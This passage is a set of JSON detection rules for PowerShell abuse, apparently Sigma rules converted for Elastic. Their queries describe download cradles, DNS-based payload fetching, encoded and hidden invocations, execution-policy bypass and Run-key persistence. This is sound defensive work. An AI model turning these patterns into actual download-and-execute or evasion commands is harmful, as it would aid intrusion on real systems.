"name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious PowerShell download command", "enabled": false, "false_positives": ["PowerShell scripts that download content from the Internet"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eac9e199-0ed5-407a-6dc3-919c9f4cec01", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious PowerShell Download", "query": "(process.command_line:*System.Net.WebClient* AND (process.command_line:*.DownloadFile\\(* OR process.command_line:*.DownloadString\\(*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious PowerShell download command", "enabled": false, "false_positives": ["PowerShell scripts that download content from the Internet"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eac9e199-0ed5-407a-6dc3-919c9f4cec01", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious PowerShell Download", "query": "(process.command_line.text:*Net.WebClient* AND process.command_line.text:(*.DownloadFile\\(* OR *.DownloadString\\(*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious PowerShell download command", "enabled": false, "false_positives": ["PowerShell scripts that download content from the Internet"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eac9e199-0ed5-407a-6dc3-919c9f4cec01", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious PowerShell Download", "query": "(ContextInfo:*System.Net.WebClient* AND ContextInfo:(*.DownloadFile\\(* OR *.DownloadString\\(*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious PowerShell download command", "enabled": false, "false_positives": ["PowerShell scripts that download content from the Internet"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eac9e199-0ed5-407a-6dc3-919c9f4cec01", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious PowerShell Download", "query": "(powershell.file.script_block_text:*System.Net.WebClient* AND powershell.file.script_block_text:(*.DownloadFile\\(* OR *.DownloadString\\(*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "24122fb1-0b4d-f5a0-0803-2e9b58d6e02d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Nslookup PowerShell Download Cradle - ProcessCreation", "query": "(((process.executable.text:*\\\\nslookup.exe*) OR (winlog.event_data.OriginalFileName:\"\\nslookup.exe\")) AND (process.parent.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line.text:(*\\ \\-q\\=txt\\ * OR *\\ \\-querytype\\=txt\\ *)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records", "author": ["Sai Prashanth Pulisetti @pulisettis"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "66a6ec46-6234-cc46-e83d-7a0dadd450db", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Nslookup PowerShell Download Cradle", "query": "(process.command_line.text:*powershell* AND process.command_line.text:*nslookup* AND process.command_line.text:(*\\-q\\=txt* OR *\\-querytype\\=txt*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)", "enabled": false, "false_positives": ["Software installers that pull packages from remote systems and execute them"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "05f313f4-81d6-b3fe-942c-fa2a2a296d6b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Download and Execute Pattern", "query": "process.command_line:(*IEX\\ \$\\(New\\-Object\\ Net.WebClient\$.DownloadString* OR *IEX\\ \$New\\-Object\\ Net.WebClient\$.DownloadString* OR *IEX\$\\(New\\-Object\\ Net.WebClient\$.DownloadString* OR *IEX\$New\\-Object\\ Net.WebClient\$.DownloadString* OR *\\ \\-command\\ \$New\\-Object\\ System.Net.WebClient\$.DownloadFile\$* OR *\\ \\-c\\ \\(New\\-Object\\ System.Net.WebClient\$.DownloadFile\\(*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious PowerShell invocation command parameters", "author": ["Florian Roth (rule)", "Jonhnathan Ribeiro"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "21e9a5bf-00e6-3c19-b61e-81e503333768", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Invocations - Specific - PowerShell Module", "query": "((((ContextInfo:*\\-nop* AND ContextInfo:*\\ \\-w\\ * AND ContextInfo:*hidden* AND ContextInfo:*\\ \\-c\\ * AND ContextInfo:*\\[Convert\\]\\:\\:FromBase64String*)) OR ((ContextInfo:*\\ \\-w\\ * AND ContextInfo:*hidden* AND ContextInfo:*\\-noni* AND ContextInfo:*\\-nop* AND ContextInfo:*\\ \\-c\\ * AND ContextInfo:*iex* AND ContextInfo:*New\\-Object*)) OR ((ContextInfo:*\\ \\-w\\ * AND ContextInfo:*hidden* AND ContextInfo:*\\-ep* AND ContextInfo:*bypass* AND ContextInfo:*\\-Enc*)) OR ((ContextInfo:*powershell* AND ContextInfo:*reg* AND ContextInfo:*add* AND ContextInfo:*HKCU\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run*)) OR ((ContextInfo:*bypass* AND ContextInfo:*\\-noprofile* AND ContextInfo:*\\-windowstyle* AND ContextInfo:*hidden* AND ContextInfo:*new\\-object* AND ContextInfo:*system.net.webclient* AND ContextInfo:*.download*)) OR ((ContextInfo:*iex* AND ContextInfo:*New\\-Object* AND ContextInfo:*Net.WebClient* AND ContextInfo:*.Download*))) AND (NOT ((ContextInfo:(*\$New\\-Object\\ System.Net.WebClient\$.DownloadString\\('https\\:\\/\\/community.chocolatey.org\\/install.ps1* OR *Write\\-ChocolateyWarning*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Detects suspicious PowerShell invocation command parameters", "author": ["Florian Roth (rule)", "Jonhnathan Ribeiro"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4952abd3-9818-24f7-c18f-3534c6d6ad46", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Invocations - Specific", "query": "((((powershell.file.script_block_text:*\\-nop* AND powershell.file.script_block_text:*\\ \\-w\\ * AND powershell.file.script_block_text:*hidden* AND powershell.file.script_block_text:*\\ \\-c\\ * AND powershell.file.script_block_text:*\\[Convert\\]\\:\\:FromBase64String*)) OR ((powershell.file.script_block_text:*\\ \\-w\\ * AND powershell.file.script_block_text:*hidden* AND powershell.file.script_block_text:*\\-noni* AND powershell.file.script_block_text:*\\-nop* AND powershell.file.script_block_text:*\\ \\-c\\ * AND powershell.file.script_block_text:*iex* AND powershell.file.script_block_text:*New\\-Object*)) OR ((powershell.file.script_block_text:*\\ \\-w\\ * AND powershell.file.script_block_text:*hidden* AND powershell.file.script_block_text:*\\-ep* AND powershell.file.script_block_text:*bypass* AND powershell.file.script_block_text:*\\-Enc*)) OR ((powershell.file.script_block_text:*powershell* AND powershell.file.script_block_text:*reg* AND powershell.file.script_block_text:*add* AND powershell.file.script_block_text:*HKCU\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run*)) OR ((powershell.file.script_block_text:*bypass* AND powershell.file.script_block_text:*\\-noprofile* AND powershell.file.script_block_text:*\\-windowstyle* AND powershell.file.script_block_text:*hidden* AND powershell.file.script_block_text:*new\\-object* AND powershell.file.script_block_text:*system.net.webclient* AND powershell.file.script_block_text:*.download*)) OR ((powershell.file.script_block_text:*iex* AND powershell.file.script_block_text:*New\\-Object* AND powershell.file.script_block_text:*Net.WebClient* AND powershell.file.script_block_text:*.Download*))) AND (NOT ((powershell.file.script_block_text:(*\$New\\-Object\\ System.Net.WebClient\$.DownloadString\$'https\\:\\/\\/community.chocolatey.org\\/install.ps1* OR *\\(New\\-Object\\ System.Net.WebClient\$.DownloadString\$'https\\:\\/\\/chocolatey.org\\/install.ps1'\$* OR *Write\\-ChocolateyWarning*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Detects suspicious PowerShell invocation command parameters", "author": ["Florian Roth (rule)"], "enabled": false, "false_positives": ["Very special / sneaky PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "02e4c8dc-e38d-05c2-9f73-52421784aeed", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Invocations - Generic - PowerShell Module", "query": "(ContextInfo:(*\\ \\-enc\\ * OR *\\ \\-EncodedCommand\\ * OR *\\ \\-ec\\ *) AND ContextInfo:(*\\ \\-w\\ hidden\\ * OR *\\ \\-window\\ hidden\\ * OR *\\ \\-windowstyle\\ hidden\\ * OR *\\ \\-w\\ 1\\ *) AND ContextInfo:(*\\ \\-noni\\ * OR *\\ \\-noninteractive\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Detects suspicious PowerShell invocation command parameters", "author": ["Florian Roth (rule)"], "enabled": false, "false_positives": ["Very special / sneaky PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "64ce4c5a-7e96-a5f1-9310-3b7810c97dba", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Invocations - Generic", "query": "(powershell.file.script_block_text:(*\\ \\-enc\\ * OR *\\ \\-EncodedCommand\\ * OR *\\ \\-ec\\ *) AND powershell.file.script_block_text:(*\\ \\-w\\ hidden\\ * OR *\\ \\-window\\ hidden\\ * OR *\\ \\-windowstyle\\ hidden\\ * OR *\\ \\-w\\ 1\\ *) AND powershell.file.script_block_text:(*\\ \\-noni\\ * OR *\\ \\-noninteractive\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Detects suspicious PowerShell invocation command parameters", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "24332dca-2af7-574c-08dc-615090636935", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious PowerShell Invocations - Specific - ProcessCreation", "query": "((((process.command_line.text:*\\-nop* AND process.command_line.text:*\\ \\-w\\ * AND process.command_line.text:*hidden* AND process.command_line.text:*\\ \\-c\\ * AND process.command_line.text:*\\[Convert\\]\\:\\:FromBase64String*)) OR ((process.command_line.text:*\\ \\-w\\ * AND process.command_line.text:*hidden* AND process.command_line.text:*\\-noni* AND process.command_line.text:*\\-nop* AND process.command_line.text:*\\ \\-c\\ * AND process.command_line.text:*iex* AND process.command_line.text:*New\\-Object*)) OR ((process.command_line.text:*\\ \\-w\\ * AND process.command_line.text:*hidden* AND process.command_line.text:*\\-ep* AND process.command_line.text:*bypass* AND process.command_line.text:*\\-Enc*)) OR ((process.command_line.text:*powershell* AND process.command_line.text:*reg* AND process.command_line.text:*add* AND process.command_line.text:*\\\\software\\\\*)) OR ((process.command_line.text:*bypass* AND process.command_line.text:*\\-noprofile* AND process.command_line.text:*\\-windowstyle* AND process.command_line.text:*hidden* AND process.command_line.text:*new\\-object* AND process.command_line.text:*system.net.webclient* AND process.command_line.text:*.download*)) OR ((process.command_line.text:*iex* AND process.command_line.text:*New\\-Object* AND process.command_line.text:*Net.WebClient* AND process.command_line.text:*.Download*))) AND (NOT ((process.command_line.text:(*\$New\\-Object\\ System.Net.WebClient\$.DownloadString\\('https\\:\\/\\/community.chocolatey.org\\/install.ps1* OR *Write\\-ChocolateyWarning*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Detects suspicious PowerShell invocation command parameters", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4952abd3-9818-24f7-c18f-3534c6d6ad46", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Invocations - Specific", "query": "(((ContextInfo:*\\-nop* AND ContextInfo:*\\ \\-w\\ * AND ContextInfo:*hidden* AND ContextInfo:*\\ \\-c\\ * AND ContextInfo:*\\[Convert\\]\\:\\:FromBase64String*) OR (ContextInfo:*\\ \\-w\\ * AND ContextInfo:*hidden* AND ContextInfo:*\\-noni* AND ContextInfo:*\\-nop* AND ContextInfo:*\\ \\-c\\ * AND ContextInfo:*iex* AND ContextInfo:*New\\-Object*) OR (ContextInfo:*\\ \\-w\\ * AND ContextInfo:*hidden* AND ContextInfo:*\\-ep* AND ContextInfo:*bypass* AND ContextInfo:*\\-Enc*) OR (ContextInfo:*powershell* AND ContextInfo:*reg* AND ContextInfo:*add* AND ContextInfo:*HKCU\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run*) OR (ContextInfo:*bypass* AND ContextInfo:*\\-noprofile* AND ContextInfo:*\\-windowstyle* AND ContextInfo:*hidden* AND ContextInfo:*new\\-object* AND ContextInfo:*system.net.webclient* AND ContextInfo:*.download*) OR (ContextInfo:*iex* AND ContextInfo:*New\\-Object* AND ContextInfo:*Net.WebClient* AND ContextInfo:*.Download*)) AND (NOT ((ContextInfo:(*\$New\\-Object\\ System.Net.WebClient\$.DownloadString\\('https\\:\\/\\/community.chocolatey.org\\/install.ps1* OR *Write\\-ChocolateyWarning*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "Jonhnathan Ribeiro"], "license": ""}
{"description": "Detects suspicious PowerShell invocation command parameters", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4952abd3-9818-24f7-c18f-3534c6d6ad46", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Invocations - Specific", "query": "(((powershell.file.script_block_text:*\\-nop* AND powershell.file.script_block_text:*\\ \\-w\\ * AND powershell.file.script_block_text:*hidden* AND powershell.file.script_block_text:*\\ \\-c\\ * AND powershell.file.script_block_text:*\\[Convert\\]\\:\\:FromBase64String*) OR (powershell.file.script_block_text:*\\ \\-w\\ * AND powershell.file.script_block_text:*hidden* AND powershell.file.script_block_text:*\\-noni* AND powershell.file.script_block_text:*\\-nop* AND powershell.file.script_block_text:*\\ \\-c\\ * AND powershell.file.script_block_text:*iex* AND powershell.file.script_block_text:*New\\-Object*) OR (powershell.file.script_block_text:*\\ \\-w\\ * AND powershell.file.script_block_text:*hidden* AND powershell.file.script_block_text:*\\-ep* AND powershell.file.script_block_text:*bypass* AND powershell.file.script_block_text:*\\-Enc*) OR (powershell.file.script_block_text:*powershell* AND powershell.file.script_block_text:*reg* AND powershell.file.script_block_text:*add* AND powershell.file.script_block_text:*HKCU\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run*) OR (powershell.file.script_block_text:*bypass* AND powershell.file.script_block_text:*\\-noprofile* AND powershell.file.script_block_text:*\\-windowstyle* AND powershell.file.script_block_text:*hidden* AND powershell.file.script_block_text:*new\\-object* AND powershell.file.script_block_text:*system.net.webclient* AND powershell.file.script_block_text:*.download*) OR (powershell.file.script_block_text:*iex* AND powershell.file.script_block_text:*New\\-Object* AND powershell.file.script_block_text:*Net.WebClient* AND powershell.file.script_block_text:*.Download*)) AND (NOT ((powershell.file.script_block_text:(*\$New\\-Object\\ System.Net.WebClient\$.DownloadString\$'https\\:\\/\\/community.chocolatey.org\\/install.ps1* OR *\\(New\\-Object\\ System.Net.WebClient\$.DownloadString\$'https\\:\\/\\/chocolatey.org\\/install.ps1'\$* OR *Write\\-ChocolateyWarning*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "Jonhnathan Ribeiro"], "license": ""}
{"description": "Detects suspicious PowerShell invocation command parameters", "enabled": false, "false_positives": ["Very special / sneaky PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "64ce4c5a-7e96-a5f1-9310-3b7810c97dba", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Invocations - Generic", "query": "(ContextInfo:(*\\ \\-enc\\ * OR *\\ \\-EncodedCommand\\ *) AND ContextInfo:(*\\ \\-w\\ hidden\\ * OR *\\ \\-window\\ hidden\\ * OR *\\ \\-windowstyle\\ hidden\\ *) AND ContextInfo:(*\\ \\-noni\\ * OR *\\ \\-noninteractive\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)"], "license": ""}
{"description": "Detects suspicious PowerShell invocation command parameters", "enabled": false, "false_positives": ["Very special / sneaky PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "64ce4c5a-7e96-a5f1-9310-3b7810c97dba", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Invocations - Generic", "query": "(powershell.file.script_block_text:(*\\ \\-enc\\ * OR *\\ \\-EncodedCommand\\ *) AND powershell.file.script_block_text:(*\\ \\-w\\ hidden\\ * OR *\\ \\-window\\ hidden\\ * OR *\\ \\-windowstyle\\ hidden\\ *) AND powershell.file.script_block_text:(*\\ \\-noni\\ * OR *\\ \\-noninteractive\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)"], "license": ""}
{"description": "Detects suspicious PowerShell invocation with a parameter substring", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bc9f7676-b51e-3a9e-0e93-9a9c926c7072", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Parameter Substring", "query": "(process.executable:*\\\\Powershell.exe AND process.command_line:(*\\ \\-windowstyle\\ h\\ * OR *\\ \\-windowstyl\\ h* OR *\\ \\-windowsty\\ h* OR *\\ \\-windowst\\ h* OR *\\ \\-windows\\ h* OR *\\ \\-windo\\ h* OR *\\ \\-wind\\ h* OR *\\ \\-win\\ h* OR *\\ \\-wi\\ h* OR *\\ \\-win\\ h\\ * OR *\\ \\-win\\ hi\\ * OR *\\ \\-win\\ hid\\ * OR *\\ \\-win\\ hidd\\ * OR *\\ \\-win\\ hidde\\ * OR *\\ \\-NoPr\\ * OR *\\ \\-NoPro\\ * OR *\\ \\-NoProf\\ * OR *\\ \\-NoProfi\\ * OR *\\ \\-NoProfil\\ * OR *\\ \\-nonin\\ * OR *\\ \\-nonint\\ * OR *\\ \\-noninte\\ * OR *\\ \\-noninter\\ * OR *\\ \\-nonintera\\ * OR *\\ \\-noninterac\\ * OR *\\ \\-noninteract\\ * OR *\\ \\-noninteracti\\ * OR *\\ \\-noninteractiv\\ * OR *\\ \\-ec\\ * OR *\\ \\-encodedComman\\ * OR *\\ \\-encodedComma\\ * OR *\\ \\-encodedComm\\ * OR *\\ \\-encodedCom\\ * OR *\\ \\-encodedCo\\ * OR *\\ \\-encodedC\\ * OR *\\ \\-encoded\\ * OR *\\ \\-encode\\ * OR *\\ \\-encod\\ * OR *\\ \\-enco\\ * OR *\\ \\-en\\ * OR *\\ \\-executionpolic\\ * OR *\\ \\-executionpoli\\ * OR *\\ \\-executionpol\\ * OR *\\ \\-executionpo\\ * OR *\\ \\-executionp\\ * OR *\\ \\-execution\\ bypass* OR *\\ \\-executio\\ bypass* OR *\\ \\-executi\\ bypass* OR *\\ \\-execut\\ bypass* OR *\\ \\-execu\\ bypass* OR *\\ \\-exec\\ bypass* OR *\\ \\-exe\\ bypass* OR *\\ \\-ex\\ bypass* OR *\\ \\-ep\\ bypass* OR *\\ \\/windowstyle\\ h\\ * OR *\\ \\/windowstyl\\ h* OR *\\ \\/windowsty\\ h* OR *\\ \\/windowst\\ h* OR *\\ \\/windows\\ h* OR *\\ \\/windo\\ h* OR *\\ \\/wind\\ h* OR *\\ \\/win\\ h* OR *\\ \\/wi\\ h* OR *\\ \\/win\\ h\\ * OR *\\ \\/win\\ hi\\ * OR *\\ \\/win\\ hid\\ * OR *\\ \\/win\\ hidd\\ * OR *\\ \\/win\\ hidde\\ * OR *\\ \\/NoPr\\ * OR *\\ \\/NoPro\\ * OR *\\ \\/NoProf\\ * OR *\\ \\/NoProfi\\ * OR *\\ \\/NoProfil\\ * OR *\\ \\/nonin\\ * OR *\\ \\/nonint\\ * OR *\\ \\/noninte\\ * OR *\\ \\/noninter\\ * OR *\\ \\/nonintera\\ * OR *\\ \\/noninterac\\ * OR *\\ \\/noninteract\\ * OR *\\ \\/noninteracti\\ * OR *\\ \\/noninteractiv\\ * OR *\\ \\/ec\\ * OR *\\ \\/encodedComman\\ * OR *\\ \\/encodedComma\\ * OR *\\ \\/encodedComm\\ * OR *\\ \\/encodedCom\\ * OR *\\ \\/encodedCo\\ * OR *\\ \\/encodedC\\ * OR *\\ \\/encoded\\ * OR *\\ \\/encode\\ * OR *\\ \\/encod\\ * OR *\\ \\/enco\\ * OR *\\ \\/en\\ * OR *\\ \\/executionpolic\\ * OR *\\ \\/executionpoli\\ * OR *\\ \\/executionpol\\ * OR *\\ \\/executionpo\\ * OR *\\ \\/executionp\\ * OR *\\ \\/execution\\ bypass* OR *\\ \\/executio\\ bypass* OR *\\ \\/executi\\ bypass* OR *\\ \\/execut\\ bypass* OR *\\ \\/execu\\ bypass* OR *\\ \\/exec\\ bypass* OR *\\ \\/exe\\ bypass* OR *\\ \\/ex\\ bypass* OR *\\ \\/ep\\ bypass*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "Daniel Bohannon (idea)", "Roberto Rodriguez (Fix)"], "license": ""}
{"description": "Detects suspicious PowerShell invocation with a parameter substring", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bc9f7676-b51e-3a9e-0e93-9a9c926c7072", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Parameter Substring", "query": "(process.executable:(*\\\\Powershell.exe OR *\\\\pwsh.exe) AND process.command_line:(*\\ \\-windowstyle\\ h\\ * OR *\\ \\-windowstyl\\ h* OR *\\ \\-windowsty\\ h* OR *\\ \\-windowst\\ h* OR *\\ \\-windows\\ h* OR *\\ \\-windo\\ h* OR *\\ \\-wind\\ h* OR *\\ \\-win\\ h* OR *\\ \\-wi\\ h* OR *\\ \\-win\\ h\\ * OR *\\ \\-win\\ hi\\ * OR *\\ \\-win\\ hid\\ * OR *\\ \\-win\\ hidd\\ * OR *\\ \\-win\\ hidde\\ * OR *\\ \\-NoPr\\ * OR *\\ \\-NoPro\\ * OR *\\ \\-NoProf\\ * OR *\\ \\-NoProfi\\ * OR *\\ \\-NoProfil\\ * OR *\\ \\-nonin\\ * OR *\\ \\-nonint\\ * OR *\\ \\-noninte\\ * OR *\\ \\-noninter\\ * OR *\\ \\-nonintera\\ * OR *\\ \\-noninterac\\ * OR *\\ \\-noninteract\\ * OR *\\ \\-noninteracti\\ * OR *\\ \\-noninteractiv\\ * OR *\\ \\-ec\\ * OR *\\ \\-encodedComman\\ * OR *\\ \\-encodedComma\\ * OR *\\ \\-encodedComm\\ * OR *\\ \\-encodedCom\\ * OR *\\ \\-encodedCo\\ * OR *\\ \\-encodedC\\ * OR *\\ \\-encoded\\ * OR *\\ \\-encode\\ * OR *\\ \\-encod\\ * OR *\\ \\-enco\\ * OR *\\ \\-en\\ * OR *\\ \\-executionpolic\\ * OR *\\ \\-executionpoli\\ * OR *\\ \\-executionpol\\ * OR *\\ \\-executionpo\\ * OR *\\ \\-executionp\\ * OR *\\ \\-execution\\ bypass* OR *\\ \\-executio\\ bypass* OR *\\ \\-executi\\ bypass* OR *\\ \\-execut\\ bypass* OR *\\ \\-execu\\ bypass* OR *\\ \\-exec\\ bypass* OR *\\ \\-exe\\ bypass* OR *\\ \\-ex\\ bypass* OR *\\ \\-ep\\ bypass* OR *\\ \\/windowstyle\\ h\\ * OR *\\ \\/windowstyl\\ h* OR *\\ \\/windowsty\\ h* OR *\\ \\/windowst\\ h* OR *\\ \\/windows\\ h* OR *\\ \\/windo\\ h* OR *\\ \\/wind\\ h* OR *\\ \\/win\\ h* OR *\\ \\/wi\\ h* OR *\\ 